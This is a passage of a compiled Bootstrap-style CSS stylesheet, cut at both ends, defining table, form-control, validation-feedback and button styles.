0, 0.075);\n}\n\n.table-hover .table-active:hover {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n color: #fff;\n background-color: #212529;\n border-color: #32383e;\n}\n\n.table .thead-light th {\n color: #495057;\n background-color: #e9ecef;\n border-color: #dee2e6;\n}\n\n.table-dark {\n color: #fff;\n background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n .table-responsive-sm {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-sm > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 767.98px) {\n .table-responsive-md {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-md > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 991.98px) {\n .table-responsive-lg {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-lg > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 1199.98px) {\n .table-responsive-xl {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-xl > .table-bordered {\n border: 0;\n }\n}\n\n.table-responsive {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n border: 0;\n}\n\n.form-control {\n display: block;\n width: 100%;\n padding: 0.375rem 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .form-control {\n transition: none;\n }\n}\n\n.form-control::-ms-expand {\n background-color: transparent;\n border: 0;\n}\n\n.form-control:focus {\n color: #495057;\n background-color: #fff;\n border-color: #80bdff;\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.form-control::placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n background-color: #e9ecef;\n opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n color: #495057;\n background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n display: block;\n width: 100%;\n}\n\n.col-form-label {\n padding-top: calc(0.375rem + 1px);\n padding-bottom: calc(0.375rem + 1px);\n margin-bottom: 0;\n font-size: inherit;\n line-height: 1.5;\n}\n\n.col-form-label-lg {\n padding-top: calc(0.5rem + 1px);\n padding-bottom: calc(0.5rem + 1px);\n font-size: 1.25rem;\n line-height: 1.5;\n}\n\n.col-form-label-sm {\n padding-top: calc(0.25rem + 1px);\n padding-bottom: calc(0.25rem + 1px);\n font-size: 0.875rem;\n line-height: 1.5;\n}\n\n.form-control-plaintext {\n display: block;\n width: 100%;\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n margin-bottom: 0;\n line-height: 1.5;\n color: #212529;\n background-color: transparent;\n border: solid transparent;\n border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n padding-right: 0;\n padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n padding: 0.5rem 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n height: calc(2.875rem + 2px);\n}\n\n.form-group {\n margin-bottom: 1rem;\n}\n\n.form-text {\n display: block;\n margin-top: 0.25rem;\n}\n\n.form-row {\n display: flex;\n flex-wrap: wrap;\n margin-right: -5px;\n margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n padding-right: 5px;\n padding-left: 5px;\n}\n\n.form-check {\n position: relative;\n display: block;\n padding-left: 1.25rem;\n}\n\n.form-check-input {\n position: absolute;\n margin-top: 0.3rem;\n margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n color: #6c757d;\n}\n\n.form-check-label {\n margin-bottom: 0;\n}\n\n.form-check-inline {\n display: inline-flex;\n align-items: center;\n padding-left: 0;\n margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n position: static;\n margin-top: 0;\n margin-right: 0.3125rem;\n margin-left: 0;\n}\n\n.valid-feedback {\n display: none;\n width: 100%;\n margin-top: 0.25rem;\n font-size: 80%;\n color: #28a745;\n}\n\n.valid-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%;\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: #fff;\n background-color: rgba(40, 167, 69, 0.8);\n border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n border-color: #28a745;\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n display: none;\n width: 100%;\n margin-top: 0.25rem;\n font-size: 80%;\n color: #dc3545;\n}\n\n.invalid-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%;\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: #fff;\n background-color: rgba(220, 53, 69, 0.8);\n border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n border-color: #dc3545;\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n display: flex;\n flex-flow: row wrap;\n align-items: center;\n}\n\n.form-inline .form-check {\n width: 100%;\n}\n\n@media (min-width: 576px) {\n .form-inline label {\n display: flex;\n align-items: center;\n justify-content: center;\n margin-bottom: 0;\n }\n .form-inline .form-group {\n display: flex;\n flex: 0 0 auto;\n flex-flow: row wrap;\n align-items: center;\n margin-bottom: 0;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-plaintext {\n display: inline-block;\n }\n .form-inline .input-group,\n .form-inline .custom-select {\n width: auto;\n }\n .form-inline .form-check {\n display: flex;\n align-items: center;\n justify-content: center;\n width: auto;\n padding-left: 0;\n }\n .form-inline .form-check-input {\n position: relative;\n margin-top: 0;\n margin-right: 0.25rem;\n margin-left: 0;\n }\n .form-inline .custom-control {\n align-items: center;\n justify-content: center;\n }\n .form-inline .custom-control-label {\n margin-bottom: 0;\n }\n}\n\n.btn {\n display: inline-block;\n font-weight: 400;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n user-select: none;\n border: 1px solid transparent;\n padding: 0.375rem 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n border-radius: 0.25rem;\n transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .btn {\n transition: none;\n }\n}\n\n.btn:hover, .btn:focus {\n text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n pointer-events: none;\n}\n\n.btn-primary {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-primary:hover {\n color: #fff;\n background-color: #0069d9;\n border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n color: #fff;\n background-color: #0062cc;\n border-color: #005cbf;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-secondary {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n color: #fff;\n background-color: #5a6268;\n border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n color: #fff;\n background-color: #545b62;\n border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-success:hover {\n color: #fff;\n background-color: #218838;\n border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n color: #fff;\n background-color: #1e7e34;\n border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-info:hover {\n color: #fff;\n background-color: #138496;\n border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n color: #fff;\n background-color: #117a8b;\n border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-warning:hover {\n color: #212529;\n background-color: #e0a800;\n border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-warning.disabled, .btn-warning:disabled {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active, .btn-warning:not(:disabled):not(.disabled).active,\n.show > .btn-warning.dropdown-toggle {\n color: #212529;\n background-color: #d39e00;\n border-color: #c69500;\n}\n\n.btn-warning:not(:disabled):not(.disabled):active:focus, .btn-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-warning.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-danger {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-danger:hover {\n color: #fff;\n background-color: #c82333;\n border-color: #bd2130;\n}\n\n.btn-danger:focus, .btn-danger.focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-danger.disabled, .btn-danger:disabled {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active, .btn-danger:not(:disabled):not(.disabled).active,\n.show > .btn-danger.dropdown-toggle {\n color: #fff;\n background-color: #bd2130;\n border-color: #b21f2d;\n}\n\n.btn-danger:not(:disabled):not(.disabled):active:focus, .btn-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-danger.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-light {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-light:hover {\n color: #212529;\n background-color: #e2e6ea;\n border-color: #dae0e5;\n}\n\n.btn-light:focus, .btn-light.focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-light.disabled, .btn-light:disabled {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-light:not(:disabled):not(.disabled):active, .btn-light:not(:disabled):not(.disabled).active,\n.show > .btn-light.dropdown-toggle {\n color: #212529;\n background-color: #dae0e5;\n border-color: #d3d9df;\n}\n\n.btn-light:not(:disabled):not(.disabled):active:focus, .btn-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-light.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-dark {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-dark:hover {\n color: #fff;\n background-color: #23272b;\n border-color: #1d2124;\n}\n\n.btn-dark:focus, .btn-dark.focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-dark.disabled, .btn-dark:disabled {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active, .btn-dark:not(:disabled):not(.disabled).active,\n.show > .btn-dark.dropdown-toggle {\n color: #fff;\n background-color: #1d2124;\n border-color: #171a1d;\n}\n\n.btn-dark:not(:disabled):not(.disabled):active:focus, .btn-dark:not(:disabled):not(.disabled).active:focus,\n.show > .btn-dark.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-primary {\n color: #007bff;\n background-color: transparent;\n background-image: none;\n border-color: #007bff;\n}\n\n.btn-outline-primary:hover {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-outline-primary:focus, .btn-outline-primary.focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-primary.disabled, .btn-outline-primary:disabled {\n color: #007bff;\n background-color: transparent;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active, .btn-outline-primary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-primary.dropdown-toggle {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-outline-primary:not(:disabled):not(.disabled):active:focus, .btn-outline-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-primary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-outline-secondary {\n color: #6c757d;\n background-color: transparent;\n background-image: none;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:hover {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:focus, .btn-outline-secondary.focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-secondary.disabled, .btn-outline-secondary:disabled {\n color: #6c757d;\n background-color: transparent;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active, .btn-outline-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-outline-secondary.dropdown-toggle {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, .btn-outline-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-secondary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-outline-success {\n color: #28a745;\n background-color: transparent;\n background-image: none;\n border-color: #28a745;\n}\n\n.btn-outline-success:hover {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-outline-success:focus, .btn-outline-success.focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-success.disabled, .btn-outline-success:disabled {\n color: #28a745;\n background-color: transparent;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active, .btn-outline-success:not(:disabled):not(.disabled).active,\n.show > .btn-outline-success.dropdown-toggle {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-outline-success:not(:disabled):not(.disabled):active:focus, .btn-outline-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-success.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-outline-info {\n color: #17a2b8;\n background-color: transparent;\n background-image: none;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:hover {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:focus, .btn-outline-info.focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-info.disabled, .btn-outline-info:disabled {\n color: #17a2b8;\n background-color: transparent;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active, .btn-outline-info:not(:disabled):not(.disabled).active,\n.show > .btn-outline-info.dropdown-toggle {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-outline-info:not(:disabled):not(.disabled):active:focus, .btn-outline-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-info.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-outline-warning {\n color: #ffc107;\n background-color: transparent;\n background-image: none;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:hover {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:focus, .btn-outline-warning.focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-warning.disabled, .btn-outline-warning:disabled {\n color: #ffc107;\n background-color: transparent;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active, .btn-outline-warning:not(:disabled):not(.disabled).active,\n.show > .btn-outline-warning.dropdown-toggle {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-outline-warning:not(:disabled):not(.disabled):active:focus, .btn-outline-warning:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-warning.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 0.5);\n}\n\n.btn-outline-danger {\n color: #dc3545;\n background-color: transparent;\n background-image: none;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:hover {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:focus, .btn-outline-danger.focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-danger.disabled, .btn-outline-danger:disabled {\n color: #dc3545;\n background-color: transparent;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active, .btn-outline-danger:not(:disabled):not(.disabled).active,\n.show > .btn-outline-danger.dropdown-toggle {\n color: #fff;\n background-color: #dc3545;\n border-color: #dc3545;\n}\n\n.btn-outline-danger:not(:disabled):not(.disabled):active:focus, .btn-outline-danger:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-danger.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.5);\n}\n\n.btn-outline-light {\n color: #f8f9fa;\n background-color: transparent;\n background-image: none;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:hover {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:focus, .btn-outline-light.focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-light.disabled, .btn-outline-light:disabled {\n color: #f8f9fa;\n background-color: transparent;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active, .btn-outline-light:not(:disabled):not(.disabled).active,\n.show > .btn-outline-light.dropdown-toggle {\n color: #212529;\n background-color: #f8f9fa;\n border-color: #f8f9fa;\n}\n\n.btn-outline-light:not(:disabled):not(.disabled):active:focus, .btn-outline-light:not(:disabled):not(.disabled).active:focus,\n.show > .btn-outline-light.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(248, 249, 250, 0.5);\n}\n\n.btn-outline-dark {\n color: #343a40;\n background-color: transparent;\n background-image: none;\n border-color: #343a40;\n}\n\n.btn-outline-dark:hover {\n color: #fff;\n background-color: #343a40;\n border-color: #343a40;\n}\n\n.btn-outline-dark:focus, .btn-outline-dark.focus {\n box-shadow: 0 0 0 0.2rem rgba(52, 58, 64, 0.5);\n}\n\n.btn-outline-dark.disabled, .btn-outline-dark:disabled {\n color: #343a40;\n background-color: transparent;\n}\n\n.btn-outline-dark:not(:disabled):not(.disabled):active, .btn-outline-dark:not(:disabled):not(.disabled).active,\n.show > .btn-outline-dark.dropdown-toggle {\n color: #fff;\n 